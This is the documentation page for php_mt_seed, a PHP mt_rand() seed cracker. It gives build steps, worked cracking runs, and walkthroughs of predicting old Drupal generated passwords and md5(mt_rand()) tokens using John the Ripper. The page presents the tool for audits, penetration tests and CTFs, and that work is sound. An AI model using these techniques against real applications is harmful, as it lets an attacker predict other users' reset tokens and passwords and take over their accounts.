Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers

What is php_mt_seed?

php_mt_seed is a PHP mt_rand() seed cracker. In the most trivial invocation mode, it finds possible seeds given the very first mt_rand() output after possible seeding with mt_srand(). With advanced invocation modes, it is also able to match multiple, non-first, and/or inexact mt_rand() outputs to possible seed values.

PHP's mt_rand() algorithm changed over the years since its introduction in PHP 3.0.6. php_mt_seed 4.0 supports 3 major revisions of the algorithm: PHP 3.0.7 to 5.2.0, PHP 5.2.1 to 7.0.x, and PHP 7.1.0+ (at least up to the latest as of this writing, which is PHP 7.2.0beta3).

php_mt_seed uses attack-optimized reimplementations of PHP's mt_rand() algorithms. It is written in C with optional SIMD intrinsics (SSE2, SSE4.1/AVX, XOP, AVX2, AVX-512, as well as MIC) and OpenMP. On a modern quad-core CPU, it is able to search the full 32-bit seed space in under a minute. On second generation Xeon Phi, it does the same in 3 seconds.

Why crack mt_rand() seeds?

It is well-known that mt_rand() is a non-cryptographic PRNG and that its 32-bit seed space would be too small for cryptographic applications. Yet many PHP applications misuse mt_rand() for purposes where a CSPRNG would be needed. Thus, a use case of php_mt_seed is to demonstrate to developers and users of those applications just how very practical it is to attack mt_rand() and how vulnerable those applications are, so that the misuses of mt_rand() would decline. Specific opportunities for such demonstration include source code audits and network/system penetration tests. In the latter, the cracked seeds may allow the penetration test to proceed further into the network or system, potentially exposing other vulnerabilities there may be. Other opportunities to practice with php_mt_seed include CTFs (capture the flag competitions).

Common misuses of mt_rand() include generation of anti-CSRF tokens, custom session tokens (not relying on PHP's builtin sessions support, which uses a different PRNG yet was also vulnerable until recently), password reset tokens, passwords, database backup filenames, etc. If one of these items is exposed and another is generated later without the web application or server reseeding the PRNG, then an attack is possible where the seed is cracked from the item generated earlier and is then used to infer the unknown item generated later. For example, if an application generates (and necessarily exposes) an anti-CSRF token or a custom session token and then generates (and sends to the target user's registered e-mail address) a password reset token, then the latter may be inferred from the former, resulting in compromise of the target account (such as an admin account). On web servers that do not reinitialize PHP (and thus do not reseed the PRNG) across PHP script invocations, inferring of another user's token or generated password from the attacker's own token or generated password may be possible as well, without needing more uses of mt_rand() in the application itself.

As a curiosity, certain website encrypting ransomware misused mt_rand() as well, and seed cracking enabled quick recovery of the encryption key.

How to build php_mt_seed

To build php_mt_seed from source on a system that has GCC and (GNU) make installed, simply type "make" in its directory. For example, here's what this looks like on CentOS 7 running on a i7-4770K CPU (supporting SIMD instruction sets up to AVX2, so that's what php_mt_seed will use):

    $ make
    gcc -Wall -march=native -mtune=generic -O2 -fomit-frame-pointer -funroll-loops -fopenmp php_mt_seed.c -o php_mt_seed
    php_mt_seed.c:47:2: warning: #warning AVX-512 not enabled. Try gcc -mavx512f (on Intel Knights Landing, Skylake-X, or some newer). [-Wcpp]
     #warning AVX-512 not enabled. Try gcc -mavx512f (on Intel Knights Landing, Skylake-X, or some newer).
      ^

(The warning tells us that a more advanced SIMD instruction set is not enabled in the build, in this case because the CPU actually lacks it. These warnings are safe to ignore, but they're sometimes useful in case non-default compiler flags are used and a SIMD instruction set would be left disabled inadvertently.)

How to use php_mt_seed

php_mt_seed should be run from the command line, with command-line arguments given to it according to the syntax described below.

Usage of php_mt_seed can be trivial or complex, depending on use case details. Here's a trivial usage example:

First generate a "random" number using PHP, e.g. with:

    $ php5 -r 'mt_srand(1234567890); echo mt_rand(), "\n";'
    1328851649

Then run the cracker (in this example, on the same system as we used for the build above):

    $ time ./php_mt_seed 1328851649
    Pattern: EXACT
    Version: 3.0.7 to 5.2.0
    Found 0, trying 0xfc000000 - 0xffffffff, speed 16261.0 Mseeds/s
    Version: 5.2.1+
    Found 0, trying 0x1e000000 - 0x1fffffff, speed 91.8 Mseeds/s
    seed = 0x1fd65f9a = 534142874 (PHP 7.1.0+)
    Found 1, trying 0x26000000 - 0x27ffffff, speed 91.9 Mseeds/s
    seed = 0x273a3517 = 658126103 (PHP 5.2.1 to 7.0.x; HHVM)
    Found 2, trying 0x48000000 - 0x49ffffff, speed 91.9 Mseeds/s
    seed = 0x499602d2 = 1234567890 (PHP 5.2.1 to 7.0.x; HHVM)
    seed = 0x499602d2 = 1234567890 (PHP 7.1.0+)
    Found 4, trying 0xfe000000 - 0xffffffff, speed 91.9 Mseeds/s
    Found 4
   
    real    0m47.028s
    user    6m15.211s
    sys     0m0.015s

php_mt_seed first searches for seeds for the legacy PHP 3.0.7 to 5.2.0, which it typically completes in a fraction of a second. Then it proceeds to search for seeds for PHP 5.2.1 to 7.0.x and for PHP 7.1.0+ simultaneously, which takes a while.

In 47 seconds, it found the original seed (which in this specific case happens to produce this same mt_rand() output both with PHP 5.2.1 to 7.0.x and with PHP 7.1.0+ due to similarities in their algorithms) and two other seeds that also produce the same mt_rand output (albeit one only with PHP 5.2.1 to 7.0.x and the other only with PHP 7.1.0+), and it searched the rest of the 32-bit seed space (not finding other matches).

For reference, on a 16-core server with two E5-2670 v1 CPUs (supporting AVX, but not yet AVX2) the same trivial attack completes in 18 seconds, on Xeon Phi 5110P in 8 seconds, and on Xeon Phi 7290 in 3 seconds.

You'll find a complex usage example further below.

Command-line syntax

php_mt_seed expects 1, 2, 4, or more numbers on its command line. The numbers specify constraints on mt_rand() outputs.

When invoked with only 1 number, that's the first mt_rand() output to find seeds for.

When invoked with 2 numbers, those are the bounds (minimum and maximum, in that order) that the first mt_rand() output should fall within.

When invoked with 4 numbers, the first 2 give the bounds for the first mt_rand() output and the second 2 give the range passed into mt_rand().

When invoked with 5 or more numbers, each group of 4 and then the last group of 1, 2, or (usually) 4 are processed as above, where each group refers to a corresponding mt_rand() output.

Although the syntax above technically requires specification of ranges when matching multiple mt_rand() outputs, it is also possible to match exact outputs and/or outputs from mt_rand() without a range specified by listing the value to match twice (same minimum and maximum) and/or by listing the range "passed into" mt_rand() as "0 2147483647". The latter is assumed to be equivalent to mt_rand() called without a range. For example, this matches first mt_rand() output of 1328851649 followed by second mt_rand() output of 1423851145:

    $ time ./php_mt_seed 1328851649 1328851649 0 2147483647  1423851145
    Pattern: EXACT EXACT
    Version: 3.0.7 to 5.2.0
    Found 0, trying 0xfc000000 - 0xffffffff, speed 15658.7 Mseeds/s
    Version: 5.2.1+
    Found 0, trying 0x48000000 - 0x49ffffff, speed 91.9 Mseeds/s
    seed = 0x499602d2 = 1234567890 (PHP 5.2.1 to 7.0.x; HHVM)
    Found 1, trying 0xfe000000 - 0xffffffff, speed 91.9 Mseeds/s
    Found 1
   
    real    0m47.035s
    user    6m15.273s
    sys     0m0.004s

This is on the same machine as above. The additional constraint (on the second mt_rand() output) caused no slowdown, but removed extra seeds from the output.

It is possible to have php_mt_seed skip (ignore) some mt_rand() outputs by listing for them 4 numbers that would match any output value. By convention, this is typically done by listing "0 0 0 0", which literally means "the output must be from 0 to 0 as returned by mt_rand(0, 0)", a condition that is always true. This is illustrated further below.

Complex usage example

Here's a script embedding the vulnerable password generation function from old versions of Drupal:

    <?php
    function user_password($length = 10) {
      // This variable contains the list of allowable characters for the
      // password. Note that the number 0 and the letter 'O' have been
      // removed to avoid confusion between the two. The same is true
      // of 'I', 1, and l.
      $allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
   
      // Zero-based count of characters in the allowable list:
      $len = strlen($allowable_characters) - 1;
   
      // Declare the password as a blank string.
      $pass = '';
   
      // Loop the number of times specified by $length.
      for ($i = 0; $i < $length; $i++) {
   
        // Each iteration, pick a random character from the
        // allowable string and append it to the password:
        $pass .= $allowable_characters[mt_rand(0, $len)];
      }
   
      return $pass;
    }
   
    if ($argc === 2) {
      mt_srand($argv[1]);
    }
   
    echo user_password(), "\n";
    echo user_password(), "\n";
    echo user_password(), "\n";
    ?>

Given a password generated by that function, let's try to predict what password it'd generate next assuming no PRNG seed reset inbetween. First generate a bunch of passwords for an unknown seed (we let PHP seed the PRNG automatically, as non-ancient versions do):

    $ php drupal.php
    pAiwtk6Yed
    HW9UPrqKWC
    57CN74bkzL

Let's pretend to know only the first password. We need to convert it to inputs to php_mt_seed, which we may do with this script:

    <?php
    $allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
    $len = strlen($allowable_characters) - 1;
    $pass = $argv[1];
    for ($i = 0; $i < strlen($pass); $i++) {
      $number = strpos($allowable_characters, $pass[$i]);
      echo "$number $number 0 $len  ";
    }
    echo "\n";
    ?>

We don't actually need to look at its output ourselves, but for the sake of illustration here it is:

    $ php pw2args.php pAiwtk6Yed
    14 14 0 56  25 25 0 56  8 8 0 56  21 21 0 56  18 18 0 56  10 10 0 56  53 53 0 56  47 47 0 56  4 4 0 56  3 3 0 56 

What we actually need is to pass that output to php_mt_seed:

    $ time ./php_mt_seed `php pw2args.php pAiwtk6Yed`
    Pattern: EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57
    Version: 3.0.7 to 5.2.0
    Found 0, trying 0xfc000000 - 0xffffffff, speed 4404.0 Mseeds/s
    Version: 5.2.1+
    Found 0, trying 0xa0000000 - 0xa1ffffff, speed 210.0 Mseeds/s
    seed = 0xa1872e34 = 2709990964 (PHP 5.2.1 to 7.0.x; HHVM)
    Found 1, trying 0xfe000000 - 0xffffffff, speed 210.1 Mseeds/s
    Found 1
   
    real    0m21.441s
    user    11m21.957s
    sys     0m0.034s

This is 21 seconds on the 2x E5-2670 v1 server mentioned above, on which the trivial attack would run in 18 seconds. There's some performance cost from the more advanced constraints on mt_rand() outputs (and especially from not rejecting unsuitable outputs as quickly as we would when searching for an exact output value), but in this case it's not very high.

Now let's recompute this and further passwords from the cracked seed:

    $ php drupal.php 2709990964
    pAiwtk6Yed
    HW9UPrqKWC
    57CN74bkzL

Here we are: it's the same three passwords we had above, out of which we used only the first one to infer the remaining two.

For even more real-world complexity, what if someone else had already generated a password using the same instance of PHP (e.g., same mod_php child process), and the password we know is the second one after (automatic) seeding? Let's convert that one to php_mt_seed outputs as well, and let's also tell php_mt_seed to skip 10 mt_rand() outputs (as the application would have spent them on the first generated password, presumably unknown to us) before attempting a match:

    $ time ./php_mt_seed 0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  0 0 0 0  `php pw2args.php HW9UPrqKWC`
    Pattern: SKIP SKIP SKIP SKIP SKIP SKIP SKIP SKIP SKIP SKIP EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57
    Version: 3.0.7 to 5.2.0
    Found 0, trying 0xfc000000 - 0xffffffff, speed 1457.9 Mseeds/s
    Version: 5.2.1+
    Found 0, trying 0xa0000000 - 0xa1ffffff, speed 128.9 Mseeds/s
    seed = 0xa1872e34 = 2709990964 (PHP 5.2.1 to 7.0.x; HHVM)
    Found 1, trying 0xfe000000 - 0xffffffff, speed 128.9 Mseeds/s
    Found 1
   
    real    0m36.288s
    user    19m14.502s
    sys     0m0.031s

We found the same seed as above, and would be able to infer the same passwords from it just like we did above (both the preceding and the next password relative to the only one we pretended to know), but now it took 36 seconds, which is double the time the trivial attack used to take. There's much room for optimization here for future versions of php_mt_seed (and in fact the older php_mt_seed 3.4 would process this much faster due to it lacking support for PHP 7.1.0+). Meanwhile, high and especially unknown SKIP counts are best avoided, which typically can be done through forcing the web server to allocate a fresh instance of PHP by setting up many connections (so that more instances of PHP would be created than the server had running previously) or by crashing an instance (so that it'd be restarted) via one of many non-security bugs or resource exhaustion in PHP (but first make sure you're authorized to do things like that).

The above attack might not have worked against old versions of Drupal as-is. There could be reseeding and/or other uses of mt_rand() getting in the way. It is just an illustration of how to approach applying mt_rand() seed cracking in a real-world'ish scenario.

When extra tools or php_mt_seed changes are needed

Sometimes applications post-process mt_rand() outputs in ways very different from what was illustrated above. It isn't always practical to write and use tiny scripts like we did above to reverse those tokens, generated passwords, etc. to mt_rand() output constraints that can be passed to php_mt_seed.

In simpler ones of those other cases, a pre-existing extra tool can be used. For example, if a PHP application exposes md5(mt_rand()) as a token, then a password hash cracker such as John the Ripper -jumbo or Hashcat can be used to crack the MD5 hash, retrieving the mt_rand() output value that can be passed to php_mt_seed. For example:

    $ php -r 'echo md5(mt_rand()), "\n";' | tee hashfile
    a67d0e9f38d578eefb1720d611211a26
    $ time ./john --format=raw-md5 --incremental=digits --max-length=10 --fork=32 hashfile 2>/dev/null
    Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
    1871584565       (?)
   
    real    0m40.922s
    user    6m41.117s
    sys     0m1.739s
    $ time ./php_mt_seed 1871584565
    Pattern: EXACT
    Version: 3.0.7 to 5.2.0
    Found 0, trying 0x48000000 - 0x4bffffff, speed 24159.2 Mseeds/s
    seed = 0x4be01ac0 = 1272978112 (PHP 3.0.7 to 5.2.0)
    seed = 0x4be01ac1 = 1272978113 (PHP 3.0.7 to 5.2.0)
    Found 2, trying 0x5c000000 - 0x5fffffff, speed 25725.1 Mseeds/s
    seed = 0x5fe49e4e = 1608818254 (PHP 3.0.7 to 5.2.0)
    seed = 0x5fe49e4f = 1608818255 (PHP 3.0.7 to 5.2.0)
    Found 4, trying 0xfc000000 - 0xffffffff, speed 28185.7 Mseeds/s
    Version: 5.2.1+
    Found 4, trying 0x86000000 - 0x87ffffff, speed 234.4 Mseeds/s
    seed = 0x86d2e002 = 2261966850 (PHP 7.1.0+)
    Found 5, trying 0xc2000000 - 0xc3ffffff, speed 234.5 Mseeds/s
    seed = 0xc24768d7 = 3259459799 (PHP 5.2.1 to 7.0.x; HHVM)
    seed = 0xc24768d7 = 3259459799 (PHP 7.1.0+)
    Found 7, trying 0xc6000000 - 0xc7ffffff, speed 234.4 Mseeds/s
    seed = 0xc6d8b812 = 3336091666 (PHP 5.2.1 to 7.0.x; HHVM)
    seed = 0xc6d8b812 = 3336091666 (PHP 7.1.0+)
    Found 9, trying 0xfe000000 - 0xffffffff, speed 234.5 Mseeds/s
    Found 9
   
    real    0m18.478s
    user    9m48.751s
    sys     0m0.015s
    $ php -r 'mt_srand(3259459799); echo md5(mt_rand()), "\n";'
    a67d0e9f38d578eefb1720d611211a26
    $ php -r 'mt_srand(3336091666); echo md5(mt_rand()), "\n";'
    a67d0e9f38d578eefb1720d611211a26

We found two seeds that generate our observed md5(mt_rand()) token (and some more that would do it with other versions of PHP). While both are correct given what we knew (assuming that we know the PHP version), in a real-world scenario only one of those would likely allow us to correctly infer prior and predict further mt_rand() outputs. That's good enough.

The invocation of JtR is sub-optimal in that it'd search all strings of up to 10 digits rather than numbers that fit in 31 bits and do not start with a 0 (except for the number 0). This can be partially corrected by splitting the invocation in two:

    $ time ./john --format=raw-md5 --incremental=digits --max-length=9 --fork=32 hashfile 2>/dev/null
    Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
   
    real    0m4.540s
    user    0m43.320s
    sys     0m1.762s
    $ time ./john --format=raw-md5 --mask='[12]?d?d?d?d?d?d?d?d?d' --fork=32 hashfile 2>/dev/null
    Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
    1871584565       (?)
   
    real    0m4.092s
    user    1m58.155s
    sys     0m1.609s

As a slightly trickier example, old eZ Publish used:

    $time   = time();
    $userID = $user->id();
    $hashKey = md5( $userID . ':' . $time . ':' . mt_rand() );

yet this can be cracked similarly, by obtaining the timestamp from the server itself (such as from the HTTP headers) or assuming synchronized time and by knowing or cracking the target user ID as well. The known portions of the information may be specified in a JtR or Hashcat mask as-is (e.g., as --mask='100:1503415769:[12]?d?d?d?d?d?d?d?d?d' in the second invocation of JtR above) and then mt_rand() output extracted from the cracked "password" and passed into php_mt_seed.

As a harder to handle example, old MediaWiki used:

    function generateToken( $salt = '' ) {
    	$token = dechex( mt_rand() ) . dechex( mt_rand() );
    	return md5( $token . $salt );
    }

Two mt_rand() outputs at once are unlikely to be quickly cracked by a program not aware of mt_rand() specifics. This is a case where we'd need to modify php_mt_seed internals - specifically, introduce recording of two mt_rand() outputs in php_mt_seed's diff() function and have it compute MD5 and compare the result against our token value. Then we'd invoke php_mt_seed with dummy command-line arguments, but not exactly arbitrary ones: e.g., "0 1" is non-trivial enough for php_mt_seed to always call diff() and thus let our added code take over the comparison.

Cracking seeds from old MediaWiki tokens as above is readily supported as an example exploit in Snowflake, an alternative to php_mt_seed. However, in general either php_mt_seed or Snowflake would need custom code written for new cases like this.

Xeon Phi specifics

To build php_mt_seed for first generation Xeon Phi (Knights Corner), install Intel's C compiler and run "make mic". To run php_mt_seed on Xeon Phi, copy Intel C compiler's OpenMP runtime library (such as libiomp5.so) to the Xeon Phi card, e.g. using scp. Then SSH in to the card and run a command like:

    $ LD_LIBRARY_PATH=. time ./php_mt_seed 1328851649
    Pattern: EXACT
    Version: 3.0.7 to 5.2.0
    Found 0, trying 0xe0000000 - 0xffffffff, speed 8947.8 Mseeds/s
    Version: 5.2.1+
    Found 0, trying 0x10000000 - 0x1fffffff, speed 583.6 Mseeds/s
    seed = 0x1fd65f9a = 534142874 (PHP 7.1.0+)
    Found 1, trying 0x20000000 - 0x2fffffff, speed 583.6 Mseeds/s
    seed = 0x273a3517 = 658126103 (PHP 5.2.1 to 7.0.x; HHVM)
    Found 2, trying 0x40000000 - 0x4fffffff, speed 586.7 Mseeds/s
    seed = 0x499602d2 = 1234567890 (PHP 5.2.1 to 7.0.x; HHVM)
    seed = 0x499602d2 = 1234567890 (PHP 7.1.0+)
    Found 4, trying 0xf0000000 - 0xffffffff, speed 586.1 Mseeds/s
    Found 4
    real    0m 7.82s
    user    30m 17.88s
    sys     0m 1.78s

This is on a Xeon Phi 5110P.

Advanced invocation modes work too, but the performance impact of the non-vectorized portions of code is higher than it is on regular CPUs:

    $ LD_LIBRARY_PATH=. time ./php_mt_seed 14 14 0 56  25 25 0 56  8 8 0 56  21 21 0 56  18 18 0 56  10 10 0 56  53 53 0 56  47 47 0 56  4 4 0 56  3 3 0 56
    Pattern: EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57 EXACT-FROM-57
    Version: 3.0.7 to 5.2.0
    Found 0, trying 0xe0000000 - 0xffffffff, speed 1824.3 Mseeds/s
    Version: 5.2.1+
    Found 0, trying 0xa0000000 - 0xafffffff, speed 247.0 Mseeds/s
    seed = 0xa1872e34 = 2709990964 (PHP 5.2.1 to 7.0.x; HHVM)
    Found 1, trying 0xf0000000 - 0xffffffff, speed 246.9 Mseeds/s
    Found 1
    real    0m 19.78s
    user    1h 17m 56s
    sys     0m 9.54s

Building and running on second generation Xeon Phi (Knights Landing) and later doesn't necessarily require a special make target since those support AVX-512 (which recent gcc supports too) and doesn't necessarily require any runtime library tricks (perhaps not when Xeon Phi is the host CPU rather than a coprocessor). Also, the performance impact of the non-vectorized portions of code is lower than on first generation.

PHP version curiosities (mostly unimportant)

While php_mt_seed supports 3 major revisions of PHP's mt_rand() algorithm and that sort of covers PHP 3.0.7 through 7.1.0+ (up to the latest as of this writing and probably beyond), the reality is somewhat trickier than that. From older versions to newer:

As a mere historical curiosity, php_mt_seed is in fact able to crack seeds of PHP 3.0.6, which is the very first version that introduced mt_rand(), but only as long as no range was passed into mt_rand(). That version had broken support for ranges, and indeed there's no point in supporting that short-lived breakage in php_mt_seed now. With this detail, php_mt_seed has some support for all mt_rand() capable versions of PHP released so far.

Then there's PHP 3.0.7 through 5.2.0, where Mersenne Twister's state initialization is with multiples of 69069. This enables our stateless implementation to quickly jump to the state array element needed to compute the first mt_rand() output by using a precomputed value for 69069 raised to the power 396 (mod 2**32), which is MT's M-1. Another curiosity of those versions, which we take advantage of too, is that they treat adjacent even and odd seeds the same, so the effective seed space is 31-bit.

PHP 3.0.6 to 4.1.2 used a default seed of 4357 (and thus also 4356) if mt_srand() was not called. PHP 4.2.0 changed that to automatic seeding using system time and PHP process ID (still predictable and now also leaky, but no longer a constant), but there was "Bug #25007 rand & mt_rand seed RNG every call" until 4.3.3, which presumably affected how cracked seeds could (not) be used.

PHP 5.2.1 changed MT state initialization to MT authors' new recommended algorithm, which is no longer linear so we have to compute the first 397 state elements (out of 624) even though in the simplest case we only need (and only store) the first and last one of those (or we could use a time-memory trade-off, which we currently don't).

PHP 5.2.1 also introduced a bug into its implementation of MT (use of a wrong variable, whereas pre-5.2.1 code was correct in that respect). This bug lets us skip a few operations for every other seed, which we do, although this optimization is so minor that we could as well not bother. PHP 7.1.0 fixed this bug (reverting to pre-5.2.1 code in that respect, so we use the same logic for pre-5.2.1 and 7.1.0+ there).

In PHP versions from 3.0.7 to 7.0.x, if mt_rand() was called with its optional output range specified, a 31-bit (0 to 2147483647) MT PRNG output was scaled to that range using floating-point math. This meant that if a range wider than 31-bit was requested on a 64-bit build of PHP, some values would never occur. This also meant that even for most ranges smaller than 31-bit a bias was introduced (some output values became more likely than others), as compared to MT's raw output (which was relatively unbiased).

PHP 7.1.0 tried to fix those biases by dropping the floating-point math and instead mapping the raw 32-bit MT PRNG outputs to the target range using integer modulo division. To avoid inherent bias when the target range isn't a whole power of 2 of possible integer values, a loop was introduced to skip raw 32-bit PRNG outputs (until a suitable one is seen) that would result in such bias. A bug in that code was found and reported due to work on php_mt_seed. As it turned out, the loop only works right in 32-bit builds of PHP, and is ineffective on 64-bit (except with 64-bit ranges, see below). Luckily, this actually makes things simpler for php_mt_seed, and currently php_mt_seed fully supports the behavior of 64-bit builds only (for ranges up to 0 to 2147483646).

There's currently no intent to add to php_mt_seed the complication of bias-avoidance of 32-bit builds of PHP 7.1.0+, as well as of 64-bit builds of future versions where the bug will presumably get fixed. What this means in practice is that for 32-bit builds of PHP and future versions of PHP, php_mt_seed may occasionally find wrong and miss correct seeds for mt_rand() invoked with a range, but the probability of this happening is very low except for very wide ranges that are not a whole power of 2 of possible integer values. For example, mt_rand(0, 61) or mt_rand(111, 222) are very unlikely to trigger the problem, mt_rand(0, 255) can't trigger the problem, whereas mt_rand(1000000000, 2000000000) is somewhat likely to trigger it. Such likely problematic ranges are probably rarely used and are of little relevance to uses of php_mt_seed. Also, supporting this buggy vs. correct behavior would require treating 32- and 64-bit builds of PHP separately and reporting on them differently.

PHP 7.1.0 also tried to introduce proper support for 64-bit ranges in 64-bit builds. It generates two raw 32-bit PRNG outputs to derive one mt_rand() output when the target range spans more than a 32-bit space. Unfortunately, the implementation is buggy in a way where it'd introduce biases into such mt_rand() outputs. The bug will presumably get fixed as well, but regardless there's currently no intent to support wider than 31-bit ranges in php_mt_seed. This is obscure functionality (arguably, originally an accidental misfeature, which the PHP developers didn't really have to make official) that is only available on 64-bit builds of PHP. Currently, php_mt_seed does not allow specifying larger than 31-bit integers on its command line (it will report an error when a larger value is specified).

Prior to PHP 7.1.0, mt_rand(0, 2147483647) was equivalent to mt_rand() without a range, and php_mt_seed still assumes so. This assumption is no longer valid for PHP 7.1.0+, which means that when searching for seeds for PHP 7.1.0+ for mt_rand() called with a range specified, you can specify at most a range one smaller than that, thus "0 2147483646" being the maximum that php_mt_seed supports for those versions. This minor limitation shouldn't matter in practice, except that you might need to be aware you can continue to specify a range of "0 2147483647" to indicate that no range was passed into mt_rand().

PHP 7.1.0 also aliased rand() to mt_rand() and srand() to mt_srand(). This means that on one hand you can use php_mt_seed to crack rand() seeds for PHP 7.1.0+ (since those are also mt_rand() seeds), but on the other hand this cross-seeding and cross-consumption of random numbers can affect which attacks work or don't work, and exactly how, against specific applications that make use of both sets of PHP functions.

PHP 7.1.0 also introduced MT_RAND_PHP as optional second parameter to mt_srand(). When specified, it correctly enables behavior identical to that of PHP versions 5.2.1 to 7.0.x. Thus, seeds that php_mt_seed reports as valid for 5.2.1 to 7.0.x are always also valid for 7.1.0+ with MT_RAND_PHP, and conversely seeds that php_mt_seed reports as valid for 7.1.0+ are often invalid for 7.1.0+ with MT_RAND_PHP (except when the same seeds are also valid for 5.2.1 to 7.0.x, which is common).

Contact info

Please check the php_mt_seed homepage for new versions:

    http://www.openwall.com/php_mt_seed/

If you have anything valuable to add or a non-trivial question to ask, you may contact the author of php_mt_seed at:

    Solar Designer <solar at openwall.com>

Powered by Openwall GNU/*/Linux - Powered by OpenVZ